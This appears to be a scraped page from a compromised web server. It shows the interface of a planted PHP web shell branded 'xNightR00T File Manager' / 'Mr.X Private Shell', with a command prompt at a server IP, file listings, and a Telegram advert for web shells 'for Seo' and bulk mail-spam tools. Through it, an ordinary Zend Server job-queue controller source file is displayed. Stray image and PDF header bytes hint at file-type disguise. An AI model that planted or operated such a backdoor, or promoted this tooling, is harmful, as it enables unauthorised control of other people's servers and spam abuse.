xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

zend@216.73.216.168: ~ $
<?php

namespace JQPulse\Controller;

use ZendServer\Mvc\Controller\WebAPIActionController,
    WebAPI;
use Zend\View\Model\ViewModel;
use WebAPI\Exception;
use Zsd\Db\TasksMapper;
use ZendServer\Log\Log;
use Audit\Db\Mapper as auditMapper;
use Audit\Db\ProgressMapper;
use JQPulse\Db\ExecStatsMapper;
use Zend\Server\Method\Prototype;
use Application\Module;

class WebAPIController extends WebAPIActionController
{

    /**
     * Get first timestamp when the jq started to work for an application
     * 
     * @api
     * @method GET 
     * @section jobqueue
     * @permissions Full
     * @editions Zend Server
     * @version 1.15
     * @response {
     *      "firstJobTimestamp":"1512571301"
     * }
     * 
     * @return \WebAPI\View\WebApiResponseContainer
     */
    public function JQFirstTimestampAction() {
        $this->closeSession();
        
        $this->isMethodGet();
       
        /* @var $mapper \JQPulse\Db\ExecStatsMapper  */
        $mapper   = $this->getJQExecStatsMapper();
        // 0 - All.  Get a total first timestamp for the system 
        return new \WebAPI\View\WebApiResponseContainer(array('firstJobTimestamp' => $mapper->getJQFirstTimestamp(array('applicationId' => 0))));
    }
        
    /**
     * Get the list of job types statistics, also the total served and success ratio
     *
     * @api
     * @version 1.14
     * @section jobqueue
     * @method GET
     * @param integer applicationId
     * @param integer queueId
     * @param integer type
     * @param array typeIds - jobs statuses
     * @param integer period - number of hours (default is 24 hours)
     * @param integer customPeriodFrom - timestamp in milliseconds of 'from' period
     * @param integer customPeriodTo - timestamp in milliseconds of 'to' period
     * @response {
            "avgStats": {
                "9": {
                    "entry_type_id": "9",
                    "app_id": "5802",
                    "queue_id": "1",
                    "avg_value": "737.93359574848",
                    "arith_avg_value": "822.550628253492"
                },
                "10": {
                    "entry_type_id": "10",
                    "app_id": "5802",
                    "queue_id": "1",
                    "avg_value": "1.14947792842627",
                    "arith_avg_value": "1.492256185009"
                },
                "11": {
                    "entry_type_id": "11",
                    "app_id": "5802",
                    "queue_id": "1",
                    "avg_value": null,
                    "arith_avg_value": "3.38542635658915"
                }
            },
            "sumStats": {
                "1": {
                    "entry_type_id": "1",
                    "app_id": "5802",
                    "queue_id": "1",
                    "counter_value": "1890.0"
                },
                "8": {
                    "entry_type_id": "8",
                    "app_id": "5802",
                    "queue_id": "1",
                    "counter_value": "0.0"
                }
            },
            "totalServed": 10918,
            "successRatio": 17.31,
            "firstJobTimestamp": 1489998600
        }
     */
    public function JQExecutionStatsAction()
    {

        $this->closeSession();

        $this->isMethodGet();

        $params = $this->getParameters(array(
            'applicationId' => 0, // All
            'queueId' => 0, // All
            'type' => null, // 'http' or 'cli'
            'typeIds' => array(), // All
            'period' => 24,  // 24 hours is the default
            'customPeriodFrom' => '',
            'customPeriodTo' => ''
        ));

        $validatedParams = $this->validateParams($params);

        // get JQPulse DB
        /* @var $mapper \JQPulse\Db\ExecStatsMapper  */
        $mapper   = $this->getJQExecStatsMapper();
        $sumStats = $mapper->getSumStats($validatedParams);

        $orderedSumStats = array();
        $totalSum        = 0;
        $totalSuccessSum = 0;
        foreach ($sumStats as $sum) {

            // debug line to test the pie graph refresh
            //$sum['counter_value'] = $sum['counter_value'] + rand(100, 1000);

            $orderedSumStats[$sum['entry_type_id']] = $sum;
            if ($sum['entry_type_id'] == ExecStatsMapper::TYPE_SUCCEEDED) {
                $totalSuccessSum += $sum['counter_value'];
            }
            $totalSum += $sum['counter_value'];
        }
        $avgStats = $mapper->getAvgStats($validatedParams);

        $orderedAvgStats = array();
        foreach ($avgStats as $sum) {
            $orderedAvgStats[$sum['entry_type_id']] = $sum;
        }

        $successRatio = 0;
        if ($totalSum && isset($orderedSumStats[ExecStatsMapper::TYPE_SUCCEEDED])) {
            $successRatio = round(($totalSuccessSum * 100) / $totalSum, 2);
        }

        return array(   
            'sumStats' => $orderedSumStats,
            'avgStats' => $orderedAvgStats,
            'totalServed' => $totalSum,
            'successRatio' => $successRatio,
            'firstJobTimestamp' => $mapper->getJQFirstTimestamp(array('applicationId' => $params['applicationId'])),
        );
    }

    /**
     * Get the list of job executions, failures and success separately
     *
     * @api
     * @version 1.14
     * @section jobqueue
     * @method GET
     * @param integer applicationId
     * @param integer queueId
     * @param integer type (0 all, 1 web, 2 CLI)
     * @param integer period - number of hours (default is 24 hours)
     * @param integer customPeriodFrom - timestamp in milliseconds of 'from' period
     * @param integer customPeriodTo - timestamp in milliseconds of 'to' period
     * @response {
            "jobsSuccessExecutions": [{
                    "entry_type_id": "1",
                    "app_id": "-1",
                    "queue_id": "1",
                    "from_time": "1486537380",
                    "until_time": "1486537440",
                    "counter_value": "2.0"
                },
                {
                    "entry_type_id": "1",
                    "app_id": "5802",
                    "queue_id": "1",
                    "from_time": "1486544460",
                    "until_time": "1486544520",
                    "counter_value": "0.0"
                }
            ],
            "jobsFailedExecutions": [{
                    "entry_type_id": "8",
                    "app_id": "5802",
                    "queue_id": "1",
                    "from_time": "1486537380",
                    "until_time": "1486537440",
                    "counter_summ": "6.0"
                },
                {
                    "entry_type_id": "8",
                    "app_id": "5802",
                    "queue_id": "1",
                    "from_time": "1486544460",
                    "until_time": "1486544520",
                    "counter_summ": "6.0"
                }
            ]
        }
     */
    public function JQExecutionsAction()
    {
        $this->closeSession();

        $this->isMethodGet();

        $params = $this->getParameters(array(
            'applicationId' => 0, // All
            'queueId' => 0, // All
            'type' => null,  // All (http/cli)
            'period' => 24,  // 24 hours is the default
            'customPeriodFrom' => '',
            'customPeriodTo' => ''
        ));

        $validatedParams = $this->validateParams($params);
        
        // get JQPulse DB
        /* @var $mapper \JQPulse\Db\ExecStatsMapper  */
        $mapper                = $this->getJQExecStatsMapper();
        $jobsSuccessExecutions = $mapper->getSuccessJobsExecutions($validatedParams);

        $jobsFailedExecutions = $mapper->getFailedJobsExecutions($validatedParams);

        /*
         * // Debug line to test the refresh the execution trends graph
         * 
          foreach ($jobsSuccessExecutions as $index => $exe) {
          $jobsSuccessExecutions[$index]['counter_value'] = rand(1,15);
          } */
        return new \WebAPI\View\WebApiResponseContainer(array('jobsSuccessExecutions' => $jobsSuccessExecutions, 'jobsFailedExecutions' => $jobsFailedExecutions));
    }


    /**
     * Clear Job queue pulse statistics
     *
     * @api
     * @version 1.15
     * @section jqpulse
     * @method POST
     * @permissions Full
     * @editions Zend Server
     * @response {
      "status": true,
      }
      * @return \WebAPI\View\WebApiResponseContainer
     */
    public function clearJobQueueStatisticsAction()
    {
        $this->isMethodPost();
        /* @var $mapper JQPulse  */
        $statsModel   = $this->getLocator()->get('statsModel');
        try {
            $statsModel->clearJbDb();
        } catch (\Exception $ex) {
            $this->auditMessageProgress(ProgressMapper::AUDIT_PROGRESS_ENDED_FAILED,
                array(array('errorMessage' => $ex->getMessage())));
            throw new Exception('Could not clear statistics information', Exception::INTERNAL_SERVER_ERROR, $ex);
        }
        $this->auditMessageProgress(ProgressMapper::AUDIT_PROGRESS_ENDED_SUCCESFULLY);
        return new \WebAPI\View\WebApiResponseContainer(['status' => true]);
    }

    /**
     * Get the list of job failures
     *
     * @api
     * @version 1.14
     * @section jobqueue
     * @method GET
     * @param integer $applicationId
     * @param integer $queueId
     * @param integer $type
     * @param integer period - number of hours (default is 24 hours)
     * @param integer customPeriodFrom - timestamp in milliseconds of 'from' period
     * @param integer customPeriodTo - timestamp in milliseconds of 'to' period
     * @response {
            "executions": {
                "backend": [{
                        "entry_type_id": "1",
                        "app_id": "-1",
                        "queue_id": "1",
                        "from_time": "1486537380",
                        "until_time": "1486537440",
                        "counter_value": "2.0"
                    },
                    {
                        "entry_type_id": "1",
                        "app_id": "5802",
                        "queue_id": "1",
                        "from_time": "1486544460",
                        "until_time": "1486544520",
                        "counter_value": "0.0"
                    }
                ],
                "exec": ['...'],
                "logic": ['...'],
                "predecessor": ['...'],
                "start": ['...'],
                "timeout": ['...'],
                "url": ['...']
            }
        }
     */
    public function JQFailedTypesExecutionsAction()
    {

        $this->closeSession();

        $this->isMethodGet();

        $params = $this->getParameters(array(
            'applicationId' => 0, // All
            'queueId' => 0, // All
            'type' => null, // (http/cli)
            'period' => 24,  // 24 hours is the default,
            'customPeriodFrom' => '',
            'customPeriodTo' => ''
        ));

        $validatedParams = $this->validateParams($params);
        
        // get JQPulse DB
        /* @var $mapper \JQPulse\Db\ExecStatsMapper  */
        $mapper               = $this->getJQExecStatsMapper();
        $jobsFailedExecutions = $mapper->getFailedTypesExecutions($validatedParams);

        return new \WebAPI\View\WebApiResponseContainer(array('executions' => $jobsFailedExecutions));
    }

    /**
     * Get the list Pulse types
     *
     * @api
     * @version 1.14
     * @section jobqueue
     * @method GET
     * @response {
            "TYPE_SUCCEEDED": 1,
            "TYPE_FAILED_LOGICALLY": 2,
            "TYPE_FAILED_EXECUTION": 3,
            "TYPE_FAILED_TIMEOUT": 4,
            "TYPE_FAILED_BACKEND": 5,
            "TYPE_FAILED_URL": 6,
            "TYPE_FAILED_START": 7,
            "TYPE_FAILED_PREDECESSOR": 8,
            "TYPE_AVG_WAIT_TIME": 9,
            "TYPE_AVG_EXEC_TIME": 10,
            "TYPE_EXEC_COUNT": 11,
            "TYPE_WAIT_COUNT": 12,
            "TYPE_RUNNING_COUNT": 13
        }
     */
    public function getJQPulseTypesAction()
    {

        $this->closeSession();

        /* @var $mapper \JQPulse\Db\ExecStatsMapper  */
        $mapper = $this->getJQExecStatsMapper();
        return new \WebAPI\View\WebApiResponseContainer($mapper->getTypesArray());
    }

    /**
     * Get the jq Pulse status
     *
     * @api
     * @version 1.14
     * @section jobqueue
     * @method GET
     * @response   {
      "isEnabled": true
      }
     */
    public function JQPulseStatusAction()
    {
        $this->closeSession();

        $directivesMapper = $this->getLocator()->get('Configuration\MapperDirectives'); /* @var $directivesMapper \Configuration\MapperDirectives */

        return new \WebAPI\View\WebApiResponseContainer(array(
            'isEnabled' => ($directivesMapper->getDirectiveValue('zend_jobqueue.pulse.enable') === "1"),
        ));
    }

    protected function limitPeriodByEdition($period)
    {
        $edition = strtoupper($this->getLocator()->get('Configuration\License\ZemUtilsWrapper')->getLicenseInfo()->getEdition());
        // Developer Standard - 2 Weeks, max 336 hours
        if ($edition == 'DEVELOPER' && $period > 336) {
            $period = 336; // limit to 2 weeks
        }

        // For Professional edition - 3 months
        if ($edition == 'EDITION_PROFESSIONAL' && $period > 2160) {
            $period = 2160; // limit to 3 months
        }

        return $period;
    }

    /**
     * Validate that the application really exists
     * @param int $appId
     * @param string $paramName
     * @return int
     */
    protected function validateApplicationId($appId, $paramName)
    {
        $deploymentModel = $this->getLocator()->get('Deployment\Model'); /* @var $deploymentModel \Deployment\Model */
        $applications    = $deploymentModel->getApplicationSimpleIds();
        $defaultAppIds = array(0, -1); // put 0 as the default value to `all applications`, -1 for URLs without defined application
        if (in_array($appId, $defaultAppIds)) return true;

        return $this->validateAllowedValues($appId, $paramName, $applications);
    }

    /**
     * @return \JQPulse\Db\RequestsMapper
     */
    protected function getJQExecStatsMapper()
    {
        $execStatsMapper = $this->getLocator()->get('JQPulse\Db\ExecStatsMapper');
        $execStatsMapper->setIsCluster(Module::isCluster());
        return $execStatsMapper;
    }

    protected function closeSession()
    {
        // closing the session for writing will prevent session locking.
        $this->getServiceLocator()->get('Zend\Session\SessionManager')->writeClose();
    }
    
    private function validateParams($params)
    {
        // validate params
        $this->validateApplicationId($params['applicationId'], 'applicationId');
        $applicationId = $params['applicationId'];
        $queueId       = $this->validateInteger($params['queueId'], 'queueId');
        // receive and convert job type to 0/1 (http/cli jobs)
        $type          = empty($params['type']) ? null : $this->validateAllowedValues($params['type'], 'type', ['http', 'cli']);
        $type          = ($type == 'http') ? \JQPulse\Db\ExecStatsMapper::TYPE_HTTP_JOBS : ($type == 'cli' ? \JQPulse\Db\ExecStatsMapper::TYPE_CLI_JOBS : null);
        
        /*$period        = $this->validateAllowedValues($params['period'], 'period',
         array(-1, 2, 24, 48, 168, 336, 720, 2160, 4320, 8640, 43200));*/
        //$period        = $this->limitPeriodByEdition($period);
        
        return array(
            'applicationId' => $applicationId,
            'queueId' => $queueId,
            'type' => $type,
            'period' => $params['period'],
            'customPeriodFrom' => $params['customPeriodFrom'],
            'customPeriodTo' => $params['customPeriodTo']
        );
    }
    
}

Filemanager

Name Type Size Permission Actions
IndexController.php File 162 B 0644
WebAPIController.php File 15.61 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1